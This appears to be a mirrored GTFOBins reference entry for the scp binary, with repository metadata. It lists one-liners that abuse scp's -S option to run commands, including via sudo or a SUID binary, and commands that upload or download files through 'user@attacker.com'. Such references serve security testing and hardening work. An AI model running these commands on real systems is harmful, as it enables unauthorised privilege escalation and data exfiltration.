1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/scp.md
2018-05-25 15:30:02 +02:00

827 B

functions
execute-non-interactive sudo-enabled suid-limited upload download
code
TF=$(mktemp) CMD="id" echo "$CMD" > "$TF" chmod +x "$TF" scp -S $TF x y:
code
TF=$(mktemp) CMD="id" echo "$CMD" > "$TF" chmod +x "$TF" sudo scp -S $TF x y:
code
TF=$(mktemp) CMD="id" echo "$CMD" > "$TF" chmod +x "$TF" ./scp -S $TF a b:
description code
Send local file to a SSH server. RPATH=user@attacker.com:~/where_to_save LPATH=file_to_send scp $LFILE $RPATH
description code
Fetch a remote file from a SSH server. RPATH=user@attacker.com:~/file_to_get LFILE=where_to_save scp $RPATH $LFILE